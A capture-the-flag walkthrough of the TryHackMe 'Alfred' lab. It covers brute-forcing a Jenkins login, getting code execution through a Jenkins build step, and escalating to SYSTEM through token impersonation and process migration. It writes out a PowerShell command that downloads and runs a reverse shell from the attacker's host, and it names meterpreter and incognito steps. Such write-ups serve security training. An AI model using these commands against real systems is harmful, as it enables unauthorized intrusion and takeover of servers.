Alfred - TryHackMe Room Writeup
The link for this lab is located here: https://tryhackme.com/room/alfred
In this room you will learn how to exploit a common misconfiguration on a widely used automation server called Jenkins which is used to create continuous integration/continuous development pipelines.
Alfred - TryHackMe - Full Walkthrough
First, we run a simple port scan on all ports to detect any ports that are open to narrow down our potential attack path. The syntax is as follows:
nmap -Pn -p- 10.10.245.19 -oN portscan
The scan reveals that there are 3 ports open - 80, 3389, 8080. Looking at the service column, it looks like there are two websites possibly running and the RDP (Remote Desktop) service is running on port 3389.
Running a more detailed scan with the following syntax will reveal much more information about each service running:
nmap -Pn -T4 -A -p80,3389,8080 10.10.245.19 -oN servicescan
As we can see, there is much more information including a version for Microsoft IIS, a possible robots.txt on port 8080 and something called Jetty.
Next, we can navigate to the website and have a look around. On the main page, we see a simple image and message with nothing else to click or navigate to.
Normally, the next step I would take is to run something like Gobuster to identify any hidden directories but looking back at the nmap scan revealed a second web server on port 8080. Navigating to the website on port 8080 (10.10.245.19:8080) reveals a Jenkins login page.
What if the default credentials are used? Googling for Jenkin’s default credentials reveals that the username is admin but the password gets automatically filled.
What can we do now? What if the admin changed the randomly generated password to something easier to remember?
To check this, we can intercept a login request with Burp and use Intruder to test a payload against the password field. First, we intercept a standard request to the login page using the admin username and a random password - I used test.
Once intercepted, we can send it to Intruder and select to change the password field only as we know the admin username is a default username that is likely used.
Next, we can use Google to search for some of the most common passwords. Personally, I found an interesting list from 2019 with the top 25 which I will be using.
Simply create a standard text file with all these passwords or any other wordlist you chose for the Burp Suite payload.
Then, navigate to the Payload page of Intruder and load the wordlist in as the payload.
After letting the attack run for a while, one result will have a different length which is an indicator that something different happened. Looking at this request with the password of “admin”, we can see there was a JSESSIONID cookie that was set - this indicates to me that we successfully logged in and got given a cookie by the application.
Once logged in, we are presented with a simple Jenkins panel.
Doing a bit of researching, I found an article that explained how to get code execution through Jenkins. First, click “project” to get into the prebuilt project.
Then, hit “Configure” on the left. Scrolling down, you will see a window that allows us to execute Windows batch commands.
Seeing this option, we can use a PowerShell command to execute a reverse shell. For this, I first downloaded a GitHub repo called “Nishang” which contains a lot of reverse shell payloads and more.
Looking inside the directory, we can see a variety of different shells we can use. For this box, we will use Invoke-PowershellTcp.ps1.
Next, I simply hosted this entire directory with all the shells on a web server using Python3.
Once hosting the reverse shell, we need to use PowerShell through the Windows batch command in the Jenkins configure page to download it to the target machine and then run it. To do this, we use the following command:
powershell iex (New-Object Net.WebClient).DownloadString(‘http://10.11.3.112:80/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress 10.11.3.112 -Port 9001
Then simply paste this command into the Jenkins box.
Once ready, we can start a netcat listener on the port we specified in the command. For me, this is port 9001.
Once ready and listening, hit Save and return to the Project page and hit Build Now.
It should start to build and execute the PowerShell commands we gave it - first download our reverse shell and then executing it to connect back to our Netcat listener.
To check if it worked, we can look at our Python3 HTTP Server to check for any GET requests. As we can see, one was made by the target IP.
This indicates that it ran successfully. Looking at the netcat listener, we should now have a reverse shell on the machine - and we do.
From this, we can navigate to the C:\Users directory and see a user called Bruce. Then, we can navigate to his Desktop and grab the user.txt flag
The next thing we can do is upgrade our shell to a possible meterpreter shell. First, we have to generate a meterpreter reverse TCP payload in a Windows executable format using msfvenom.
Once again, we host this file up using Python3.
Then, we simply use the same PowerShell expression we did before to download the reverse shell but this time, simply change the name to the executable we just created - in my case, it is called power.exe. This should download the exe and save it as power.exe aswell.
However, because we have a reverse shell already on this machine, we don’t need to go through the same process. Instead, we can simply execute the line through the reverse shell we already have and it should download the exe file.
Before we get ahead of ourselves and run it, we need to remember to set up a listener. Because it is a meterpreter payload, we need to use the Metasploit handler to listen for this connection.
Once all the options are set, we can run the listener on the same port we specified in msfvenom.
Then, to start a process using PowerShell, we use “powershell start-process” followed by the process or executable we want to run. In this case, it would be powershell start-process “power.exe”
If we are lucky, looking back at the Metasploit handler, we should see a session open up.
Next, we can run the whoami /priv command to see all the privileges we have. There are two main ones that interest us - SeDebugPrivilege and SeImpersonatePrivilege.
Windows uses tokens to ensure that accounts have the right privileges to carry out particular actions. Account tokens are assigned to an account when users log in - usually done by LSASS.exe.
The access token consists of:
User SIDs
Group SIDs
Privileges
There are two types of access tokens:
Primary access tokens - associated with a user account that are generated on log on
Impersonation tokens - allow a particular process to gain access to resources using the token of another user/client process
For an impersonation token, there are different levels:
SecurityAnonymous - current user cannot impersonate another user/client
SecurityIdentification - current user/client can get the identity and privileges of a client but cannot impersonate the client
SecurityImpersonation - current user/client can impersonate the client’s security context on the local system
SecurityDelegation - current user/client can impersonate the client’s security context on a remote system
The privileges of an account allow a user to carry out particular actions. The most commonly abused privileges are:
SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
To take advantage of these, we can use the incognito module. First, we need to load it in using load incognito.
Then, we can list the tokens using “list_tokens -g”.
We see that the BUILTIN/Administrators token is available. To impersonate this token, we can use the command imperonsate_token “BUILTIN\Administrators.
We get a success message at the bottom telling us it worked. Now, we should have higher privileges - can check this using the “getuid” command.
We are now NT AUTHORITY\SYSTEM. However, this does NOT always mean you have the permissions of a privileged user. This is due to the way Windows handles permissions - it uses the Primary Token of the process and not the impersonated token to determine what the process can or cannot do.
To fix this, we can try migrating to a process with SYSTEM privileges. First, we check what processes are running on the system through the ps command.
There are multiple processes running as SYSTEM. Some of the safer ones to migrate to are winlogon and services.exe - in this case, I choose to migrate to services.exe.
To migrate, we simply type “migrate” followed by the process ID of the process we want to hop to - in my case, it was PID 668.
Once migrated, we should have full SYSTEM privileges - meaning we can do anything we want. In this case, we can simply navigate to the C:\Windows\System32\config folder and grab the root.txt flag.
